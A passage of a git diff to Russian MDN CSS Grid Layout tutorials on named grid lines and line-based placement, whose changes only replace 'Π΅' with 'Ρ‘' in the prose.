-<p>Π—Π° послСдниС Ρ‚Ρ€ΠΈ руководства Π²Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ»ΠΈ, Ρ‡Ρ‚ΠΎ сущСствуСт мноТСство Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… способов размСщСния элСмСнтов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСтки. На ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ взгляд это ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Ρ‡Ρ€Π΅Π·ΠΌΠ΅Ρ€Π½ΠΎ слоТным, Π½ΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… всС. На ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ я Π½Π°Ρ…ΠΎΠΆΡƒ, Ρ‡Ρ‚ΠΎ для простых ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ использованиС ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… областСй шаблонов, это Π΄Π°Π΅Ρ‚ Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠ΅ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ выглядит ваш ΠΌΠ°ΠΊΠ΅Ρ‚, ΠΈ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π»Π΅Π³ΠΊΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ элСмСнты ΠΏΠΎ сСткС.</p>
+<p>Π—Π° послСдниС Ρ‚Ρ€ΠΈ руководства Π²Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ»ΠΈ, Ρ‡Ρ‚ΠΎ сущСствуСт мноТСство Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… способов размСщСния элСмСнтов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСтки. На ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ взгляд это ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Ρ‡Ρ€Π΅Π·ΠΌΠ΅Ρ€Π½ΠΎ слоТным, Π½ΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… всС. На ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ я Π½Π°Ρ…ΠΎΠΆΡƒ, Ρ‡Ρ‚ΠΎ для простых ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ использованиС ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… областСй шаблонов, это Π΄Π°Ρ‘Ρ‚ Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠ΅ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ выглядит ваш ΠΌΠ°ΠΊΠ΅Ρ‚, ΠΈ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π»Π΅Π³ΠΊΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ элСмСнты ΠΏΠΎ сСткС.</p>
<p>Если Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ со строгим ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠΌ ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… столбцов, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, дСмонстрация ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… строк Π² послСднСй части этого руководства Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΎ. Если Π²Ρ‹ рассматриваСтС сСточныС систСмы,Β Π² Ρ‚Π°ΠΊΠΈΡ… Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ°Ρ…, ΠΊΠ°ΠΊ Foundation ΠΈΠ»ΠΈ Bootstrap, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ основаны Π½Π° сСткС ΠΈΠ· 12 столбцов. Π—Π°Ρ‚Π΅ΠΌ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΊΠΎΠ΄ для выполнСния всСх вычислСний, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ столбцы ΡΠΊΠ»Π°Π΄Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π΄ΠΎ 100%. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Grid layout СдинствСнный ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ для нашСго Π³Ρ€ΠΈΠ΄-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ°, - это:</p>
@@ -372,7 +372,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
}
</pre>
-<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ для вСрстки нашСй страницы. НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΈΠ· Ρ‚Ρ€Π΅Ρ… столбцов с Π²Π΅Ρ€Ρ…Π½ΠΈΠΌ ΠΈ Π½ΠΈΠΆΠ½ΠΈΠΌ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»Π°ΠΌΠΈ, Ρƒ мСня ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ°.</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ для вёрстки нашСй страницы. НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… столбцов с Π²Π΅Ρ€Ρ…Π½ΠΈΠΌ ΠΈ Π½ΠΈΠΆΠ½ΠΈΠΌ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»Π°ΠΌΠΈ, Ρƒ мСня ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ°.</p>
<div class="hidden">
<pre class="brush: css">* {box-sizing: border-box;}
@@ -432,7 +432,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
<p><img alt="The layout with the grid highlighted." src="https://mdn.mozillademos.org/files/14697/5_named_lines2.png" style="height: 378px; width: 1958px;"></p>
</div>
-<p>Π­Ρ‚ΠΎ всС, Ρ‡Ρ‚ΠΎ ΠΌΠ½Π΅ Π½ΡƒΠΆΠ½ΠΎ. МнС Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… вычислСний, сСтка автоматичСски ΡƒΠ΄Π°Π»ΠΈΠ»Π° мою 10- ΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½ΡƒΡŽ Π΄ΠΎΡ€ΠΎΠΆΠΊΡƒ ΠΆΠ΅Π»ΠΎΠ±Π°, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ пространство для Ρ‚Ρ€Π΅ΠΊΠΎΠ² столбцов 1fr. Когда Π²Ρ‹ Π½Π°Ρ‡Π½Π΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ свои собствСнныС ΠΌΠ°ΠΊΠ΅Ρ‚Ρ‹, Π²Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ синтаксис становится Π±ΠΎΠ»Π΅Π΅ Π·Π½Π°ΠΊΠΎΠΌΡ‹ΠΌ, ΠΈ Π²Ρ‹ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚Π΅ способы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π»ΡƒΡ‡ΡˆΠ΅ всСго подходят для вас, Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ‚ΠΈΠΏ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ²,ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ нравятся. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΠΎΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ нСсколько ΠΎΠ±Ρ‰ΠΈΡ… шаблонов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этих Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΈ вскорС Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ свой самый ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ способ Ρ€Π°Π±ΠΎΡ‚Ρ‹. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ руководствС ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ сСтка ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ элСмСнты для нас - Π±Π΅Π· нСобходимости ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойства размСщСния Π²ΠΎΠΎΠ±Ρ‰Π΅!</p>
+<p>Π­Ρ‚ΠΎ всС, Ρ‡Ρ‚ΠΎ ΠΌΠ½Π΅ Π½ΡƒΠΆΠ½ΠΎ. МнС Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… вычислСний, сСтка автоматичСски ΡƒΠ΄Π°Π»ΠΈΠ»Π° мою 10- ΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½ΡƒΡŽ Π΄ΠΎΡ€ΠΎΠΆΠΊΡƒ ΠΆΠ΅Π»ΠΎΠ±Π°, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ пространство для Ρ‚Ρ€Π΅ΠΊΠΎΠ² столбцов 1fr. Когда Π²Ρ‹ Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ свои собствСнныС ΠΌΠ°ΠΊΠ΅Ρ‚Ρ‹, Π²Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ синтаксис становится Π±ΠΎΠ»Π΅Π΅ Π·Π½Π°ΠΊΠΎΠΌΡ‹ΠΌ, ΠΈ Π²Ρ‹ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚Π΅ способы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π»ΡƒΡ‡ΡˆΠ΅ всСго подходят для вас, Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ‚ΠΈΠΏ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ²,ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ нравятся. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΠΎΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ нСсколько ΠΎΠ±Ρ‰ΠΈΡ… шаблонов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этих Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΈ вскорС Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ свой самый ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ способ Ρ€Π°Π±ΠΎΡ‚Ρ‹. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ руководствС ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ сСтка ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ элСмСнты для нас - Π±Π΅Π· нСобходимости ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойства размСщСния Π²ΠΎΠΎΠ±Ρ‰Π΅!</p>
<section class="Quick_links" id="Quick_Links">
<ol>
diff --git a/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html b/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html
index e2086dee05..35feac5051 100644
--- a/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html
+++ b/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html
@@ -13,13 +13,13 @@ original_slug: >-
---
<p>Π’ ΡΡ‚Π°Ρ‚ΡŒΠ΅, касавшСйся <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">основных понятий позиционирования элСмСнтов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π³Ρ€ΠΈΠ΄ΠΎΠ²</a>, ΠΌΡ‹ ΠΊΡ€Π°Ρ‚Π΅Π½ΡŒΠΊΠΎ рассмотрСли, ΠΊΠ°ΠΊ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒ элСмСнты Π² Π³Ρ€ΠΈΠ΄Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π½ΠΎΠΌΠ΅Ρ€Π° Π»ΠΈΠ½ΠΈΠΉ. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ исслСдуСм Ρ‚ΠΎ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ эта Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Π°Ρ Ρ‡Π°ΡΡ‚ΡŒ спСцификации.</p>
-<p>БобствСнно, Π½Π°Ρ‡Π°Ρ‚ΡŒ квСст ΠΏΠΎ Π³Ρ€ΠΈΠ΄Π°ΠΌ со знакомства с пронумСрованными линиями - Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π² ситуации, ΠΊΠΎΠ³Π΄Π° Π’Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ с Π³Ρ€ΠΈΠ΄Π°ΠΌΠΈ, ΠΏΡ€ΠΎΠ½ΡƒΠΌΠ΅Ρ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Π»ΠΈΠ½ΠΈΠΈ Ρƒ Вас Π΅ΡΡ‚ΡŒ <strong>всСгда</strong>. Π›ΠΈΠ½ΠΈΠΈ Π½ΡƒΠΌΠ΅Ρ€ΡƒΡŽΡ‚ΡΡ ΠΈ для ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ, ΠΈ для строк, отсчСт начинаСтся с 1. НуТно Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π³Ρ€ΠΈΠ΄ индСксируСтся Π² соотвСтствии с Ρ€Π΅ΠΆΠΈΠΌΠΎΠΌ написания (writing mode) Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Π’ языках с написаниСм слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ русский, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, линия 1 - самая лСвая линия Π³Ρ€ΠΈΠ΄Π°. Если написаниС справа Π½Π°Π»Π΅Π²ΠΎ, Ρ‚ΠΎ линия 1 Π±ΡƒΠ΄Π΅Ρ‚, соотвСтствСнно, самой ΠΏΡ€Π°Π²ΠΎΠΉ Π»ΠΈΠ½ΠΈΠ΅ΠΉ Π² Π³Ρ€ΠΈΠ΄Π΅. По Ρ…ΠΎΠ΄Ρƒ изучСния Π½Π΅Π΄Ρ€ ΠΌΡ‹ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ ΡƒΠ·Π½Π°Π΅ΠΌ, ΠΊΠ°ΠΊ Π³Ρ€ΠΈΠ΄Ρ‹ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ с Ρ€Π΅ΠΆΠΈΠΌΠ°ΠΌΠΈ написания, поэтому Π½Π΅ исчСзайтС, Π²ΠΏΠ΅Ρ€Π΅Π΄ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ интСрСсного.</p>
+<p>БобствСнно, Π½Π°Ρ‡Π°Ρ‚ΡŒ квСст ΠΏΠΎ Π³Ρ€ΠΈΠ΄Π°ΠΌ со знакомства с пронумСрованными линиями - Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π² ситуации, ΠΊΠΎΠ³Π΄Π° Π’Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ с Π³Ρ€ΠΈΠ΄Π°ΠΌΠΈ, ΠΏΡ€ΠΎΠ½ΡƒΠΌΠ΅Ρ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Π»ΠΈΠ½ΠΈΠΈ Ρƒ Вас Π΅ΡΡ‚ΡŒ <strong>всСгда</strong>. Π›ΠΈΠ½ΠΈΠΈ Π½ΡƒΠΌΠ΅Ρ€ΡƒΡŽΡ‚ΡΡ ΠΈ для ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ, ΠΈ для строк, отсчёт начинаСтся с 1. НуТно Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π³Ρ€ΠΈΠ΄ индСксируСтся Π² соотвСтствии с Ρ€Π΅ΠΆΠΈΠΌΠΎΠΌ написания (writing mode) Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Π’ языках с написаниСм слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ русский, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, линия 1 - самая лСвая линия Π³Ρ€ΠΈΠ΄Π°. Если написаниС справа Π½Π°Π»Π΅Π²ΠΎ, Ρ‚ΠΎ линия 1 Π±ΡƒΠ΄Π΅Ρ‚, соотвСтствСнно, самой ΠΏΡ€Π°Π²ΠΎΠΉ Π»ΠΈΠ½ΠΈΠ΅ΠΉ Π² Π³Ρ€ΠΈΠ΄Π΅. По Ρ…ΠΎΠ΄Ρƒ изучСния Π½Π΅Π΄Ρ€ ΠΌΡ‹ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ ΡƒΠ·Π½Π°Π΅ΠΌ, ΠΊΠ°ΠΊ Π³Ρ€ΠΈΠ΄Ρ‹ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ с Ρ€Π΅ΠΆΠΈΠΌΠ°ΠΌΠΈ написания, поэтому Π½Π΅ исчСзайтС, Π²ΠΏΠ΅Ρ€Π΅Π΄ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ интСрСсного.</p>
<h2 id="Π‘Π°Π·ΠΎΠ²Ρ‹ΠΉ_ΠΏΡ€ΠΈΠΌΠ΅Ρ€">Π‘Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π’ качСствС ΠΊΡ€Π°ΠΉΠ½Π΅ простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π΄Π°Π²Π°ΠΉΡ‚Π΅ возьмСм Π³Ρ€ΠΈΠ΄ с трСмя Ρ‚Ρ€Π΅ΠΊΠ°ΠΌΠΈ-ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌΠΈ ΠΈ трСмя Ρ‚Ρ€Π΅ΠΊΠ°ΠΌΠΈ-строками. Π’Π°ΠΊΠΎΠΉ Π³Ρ€ΠΈΠ΄ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ ΠΏΠΎΒ 4 Π»ΠΈΠ½ΠΈΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ направлСния.</p>
+<p>Π’ качСствС ΠΊΡ€Π°ΠΉΠ½Π΅ простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ Π³Ρ€ΠΈΠ΄ с трСмя Ρ‚Ρ€Π΅ΠΊΠ°ΠΌΠΈ-ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌΠΈ ΠΈ трСмя Ρ‚Ρ€Π΅ΠΊΠ°ΠΌΠΈ-строками. Π’Π°ΠΊΠΎΠΉ Π³Ρ€ΠΈΠ΄ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ ΠΏΠΎΒ 4 Π»ΠΈΠ½ΠΈΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ направлСния.</p>
-<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ нашСго Π³Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнта. Если ΠΌΡ‹ Π½Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅ΠΌ ΠΈΡ… явным ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, эти элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ располоТСны Π² Π³Ρ€ΠΈΠ΄Π΅ Π² соотвСтствии с ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ авторазмСщСния, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ элСмСнту - Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… ΠΏΠ΅Ρ€Π²Ρ‹Ρ… ячССк. Если Π’Ρ‹ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ΡΡŒΒ <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Highlighter</a>Β , Ρ‚ΠΎ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΊΠ°ΠΊ Π³Ρ€ΠΈΠ΄ ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€ΡƒΠ΅Ρ‚ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ ΠΈ строки.</p>
+<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ нашСго Π³Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнта. Если ΠΌΡ‹ Π½Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅ΠΌ ΠΈΡ… явным ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, эти элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ располоТСны Π² Π³Ρ€ΠΈΠ΄Π΅ Π² соотвСтствии с ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ авторазмСщСния, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ элСмСнту - Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… ΠΏΠ΅Ρ€Π²Ρ‹Ρ… ячССк. Если Π’Ρ‹ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ΡΡŒΒ <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Highlighter</a>Β , Ρ‚ΠΎ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΊΠ°ΠΊ Π³Ρ€ΠΈΠ΄ ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€ΡƒΠ΅Ρ‚ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ ΠΈ строки.</p>
<p><img alt="Our Grid highlighted in DevTools" src="https://mdn.mozillademos.org/files/14663/3_hilighted_grid.png" style="height: 296px; width: 900px;"></p>
@@ -61,7 +61,7 @@ original_slug: >-
<h2 id="ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_элСмСнтов_ΠΏΠΎ_Π½ΠΎΠΌΠ΅Ρ€Π°ΠΌ_Π»ΠΈΠ½ΠΈΠΉ">ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ элСмСнтов ΠΏΠΎ Π½ΠΎΠΌΠ΅Ρ€Π°ΠΌ Π»ΠΈΠ½ΠΈΠΉ</h2>
